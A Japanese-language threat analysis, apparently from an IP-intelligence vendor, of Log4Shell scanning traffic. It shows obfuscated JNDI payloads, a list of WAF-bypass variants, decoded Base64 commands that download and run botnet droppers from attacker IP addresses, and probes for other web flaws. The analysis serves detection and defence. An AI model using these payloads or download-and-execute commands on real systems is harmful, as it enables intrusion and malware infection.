Log4jの脆弱性が世界を襲った。ハッカーは、サーバーを丸ごと奪うためにLog4jの脆弱性に感染されたサーバーを見つけ、世界中のすべてのサーバーを毎日スキャンしています。ハッカーがlog4jの脆弱性を持っているサーバーを見つけるためにどのスキャン技術を使用しているかを調べました。 攻撃者は最も単純な方法で “${jndi:ldap://***.*.**.***:53/c}” パケットを送信し、サーバーの反応を調べます。しかし、このパターンはメディアなどにあまりにも多く公開されてきており、IDS・IPSで素早く検出されてブロックされています。したがって、下表のような変形した攻撃が使用されています。変更された攻撃パケットは、jndi:ldap のシグネチャを検出しないように j}ndi, {${::-j}${::-n}${::-d}${::-i}:${ ::-l}${::-d}${::-a}${::-p}, ${jndi:${lower:l}${lower:d}a${lower:p} などの形でペイロードを分割して送信する方法を使用します。

 

 

エンコードが加わった攻撃パターン

ハッカーは他にも ldap プロトコルの後の文字列クエリ部分をエンコードし、攻撃パターンを避ける方法も使っています。エンコーディングを追加すると、ファイアウォールやあらゆるセキュリティ装置からの検知を避けて、セキュリティチームがESMなどで収集するログ分析の検知方法からも検出されないことができます。下表に示す方法が代表的な例です。Base64を利用してクエリを丸ごとエンコードしておいたことを確認することができます。おそらく、このエンコードをデコードして見ると、wget、bash、python、chmod などの攻撃に使用されると推測されるLinuxコマンドが含まれていることを予想できます。実際にデコードしてみましょう。

 
 
下の表は、エンコードされたクエリを実際にデコードした結果の内容です。 最初のケースは、ハッカーが設けたサーバーで wget、curl を通じた攻撃スクリプトとして見られる exploit.sh ファイルをダウンロードし、ダウンロードしたファイルに対して実行権限を与え、スクリプトを起動してマルウェアに感染させるように処理する内容であることが確認できます。特に、悪意のある bash ファイルを実行した後、削除までする緻密さを見せるが、このような場合は backdoor、トロイの木馬、keylogger などをインストールすることが多いです。 2番目の攻撃の場合は ‘wget http://158.101.118.236/setup; curl -O http://158.101.118.236/setup; ‘ wget、curl を2回実行するようになっていますが、これはサーバーに wget がインストールされていない場合まで考えて curl が実行されるようにコードを組み込んだ、さまざまな環境でも感染がよくなるように相当気を使っているハッカーが作ったスクリプトと思われます。やはり最初のケースと同様に chmod 777 で権限を変更し、実行できるスクリプトに変更した後、そのファイルを実行して感染させるケースです。 3番目の攻撃は cd /tmp || cd /var/run || cd /mnt || cd /root || cd/; などのパターンが見えるが、このような流れは Botnet 攻撃によく使われる形で知られています。bin.sh ファイルを分析した結果、同様にボットネットマルウェアを実行するための足場であることが分かります。最近、Moziボットネットの注意が要求されましたが、このような攻撃と関連が深いことが知られています。
 
 
 EncodingDecoding
1/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}')wget **.***.**.**/Exploit.sh; chmod +x Exploit.sh; ./Exploit.sh; rm -rf Exploit.sh
2TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyBzZXR1cDsgLi9zZXR1cCBleHBsb2l0}')wget http://158.101.118.236/setup; curl -O http://158.101.118.236/setup; chmod 777 setup; ./setup exploit
3/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=}')"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl http://192.95.50.228/bins.sh -o bins.sh; wget http://192.95.50.228/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh; history -c
4TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguOTEuMTQ2L2JpbnMuc2ggLW8gYmlucy5zaDsgd2dldCBodHRwOi8vMTM1LjE0OC45MS4xNDYvYmlucy5zaDsgY2htb2QgNzc3IGJpbnMuc2g7IHNoIGJpbnMuc2g7IHJtIC1yZiBiaW5zLnNoOyBoaXN0b3J5IC1j}')cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl http://135.148.91.146/bins.sh -o bins.sh; wget http://135.148.91.146/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh; history -c
 
このようにlog4jの脆弱性が存在する場合、特定のサーバーIPアドレスからマルウェアや攻撃コードとして見られるファイルをダウンロードする形の攻撃が多く発生します。この時、デコードを行ったときに、wget や curl などでダウンロードされる所のIPアドレスをCriminal IPでチェックしてみると、ほとんどがCriticalで判断されているIPアドレスであることが確認できます。
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86; cat db0fa4b8db0333367e9bda3ab68b8042.x86 > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; cat db0fa4b8db0333367e9bda3ab68b8042.mips > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl; cat db0fa4b8db0333367e9bda3ab68b8042.mpsl > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; vi curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm; cat db0fa4b8db0333367e9bda3ab68b8042.arm > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5; cat db0fa4b8db0333367e9bda3ab68b8042.arm5 > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6; cat db0fa4b8db0333367e9bda3ab68b8042.arm6 > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7; cat db0fa4b8db0333367e9bda3ab68b8042.arm7 > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc; cat db0fa4b8db0333367e9bda3ab68b8042.ppc > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k; cat db0fa4b8db0333367e9bda3ab68b8042.m68k > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc; cat db0fa4b8db0333367e9bda3ab68b8042.spc > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.i686; cat db0fa4b8db0333367e9bda3ab68b8042.i686 > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4; cat db0fa4b8db0333367e9bda3ab68b8042.sh4 > Exploit; chmod +x *; ./Exploit log4j2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc; curl -O http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc; cat db0fa4b8db0333367e9bda3ab68b8042.arc > Exploit; chmod +x *; ./Exploit log4j2
Exploit.sh ファイル

135.148.91.146 のIPに関する Criminal IP Asset Search の結果

 

 

対応方法シグネチャ検出バリアント

まず IPS/IDS/WAF で防御する方法は、ルールを外れていくためにハッカーが相当な変則を試みるほど、それに対する対応が必要です。下の攻撃キーワードを見て一つずつ登録をする必要はないです。だからといって正規形もあまり必要ないです。共通点に見える部分は ‘jndi:ldap://hacker-server/Query’ フォーマットです。一般的にlog4jの検出のために ‘jndi’、’ldap’ は登録しておいたはずです。ここで ‘${:’, ‘rmi’, ‘${lower:’ のキーワードを通じてその攻撃を検出することができます。
${jndi:ldap://domain.com/j} ${jndi:ldap:/domain.com/a} ${jndi:dns:/domain.com} ${jndi:dns://domain.com/j} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j} ${${::-j}ndi:rmi://domain.com/j} ${jndi:rmi://domainldap.com/j} ${${lower:jndi}:${lower:rmi}://domain.com/j} ${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://domain.com/j} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j} ${jndi:${lower:l}${lower:d}a${lower:p}://domain.com} ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a} ${jn${env::-}di:ldap://domain.com/j} ${jn${date:}di${date:’:’}ldap://domain.com/j} ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://domain.com/j} ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://domain.com/j} ${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://domain.com/j} ${j${::-nD}i${::-:}ldap://domain.com/j} ${j${EnV:K5:-nD}i:ldap://domain.com/j} ${j${loWer:Nd}i${uPper::}ldap://domain.com/j} ${jndi:ldap://127.0.0.1#domain.com/j} ${jnd${upper:ı}:ldap://domain.com/j} ${jnd${sys:SYS_NAME:-i}:ldap:/domain.com/j} ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://domain.com/j} ${${date:’j’}${date:’n’}${date:’d’}${date:’i’}:${date:’l’}${date:’d’}${date:’a’}${date:’p’}://domain.com/j} ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://domain.com/j} ${\u006a\u006e\u0064\u0069:ldap://domain.com/j} ${jn${lower:d}i:l${lower:d}ap://${lower:x}${lower:f}.domain.com/j} ${j${k8s:k5:-ND}${sd:k5:-${123%25ff:-${123%25ff:-${upper:ı}:}}}ldap://domain.com/j} %24%7Bjndi:ldap://domain.com/j%7D %24%7Bjn$%7Benv::-%7Ddi:ldap://domain.com/j%7D
WAFをバイパスするための攻撃キーワード 注1)

 

 

対応方法 – ダウンロードされるIPアドレスの検証

また、クエリに入っている url や IP アドレスを IP Intelligence システムで検証します。たとえば、Criminal IP で確認した結果、以下のクエリに入っている 46.161.52.37 の場合はセキュリティ脆弱性が存在しており、honeypot にも登録された履歴があり、Snort シグネチャにも含まれる内容がスコアリングされて Critical IP と診断されています。
http://46.161.52.37/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6; cat db0fa4b8db0333367e9bda3ab68b8042.arm6 > Exploit; chmod +x *; ./Exploit log4j2

135.148.91.146 のIPに関する Criminal IP Asset Search の結果

 

log4jと共に検知された攻撃

ちなみに、下の攻撃パケットはlog4jスキャンで一緒に発見された内容の一つです。ハッカーたちは単に一つの攻撃だけ進行するものではないです。Log4jの問題が発生したので、Log4jに対してのみ防御を進めればいいとは思わず、Log4jの攻撃が入ったipに対して他のログはどんなものがあるのかを確認する必要があります。収集したウェブログでLog4j攻撃をする前に、大規模のスキャン攻撃およびリモートコード実行攻撃を行ったことが分かります。したがって、問題が発生した攻撃に対してセキュリティパッチを行うことも重要ですが、既に発生された問題または見逃したセキュリティパッチを行うことも重要です。

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /solr/admin/info/system?wt=json GET /securityRealm/user/admin/search/index?q=a HTTP/1.1 GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1″ GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1 GET /console/ POST /Autodiscover/Autodiscover.xml HTTP/1.1 POST /_ignition/execute-solution HTTP/1.1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 <- cat/etc/passwd “POST /api/v1 HTTP/1.1

log4jスキャニングと共に検知された攻撃パケット

注1)log4shell – クイックガイド、https://musana.net/2021/12/13/log4shell-クイックガイド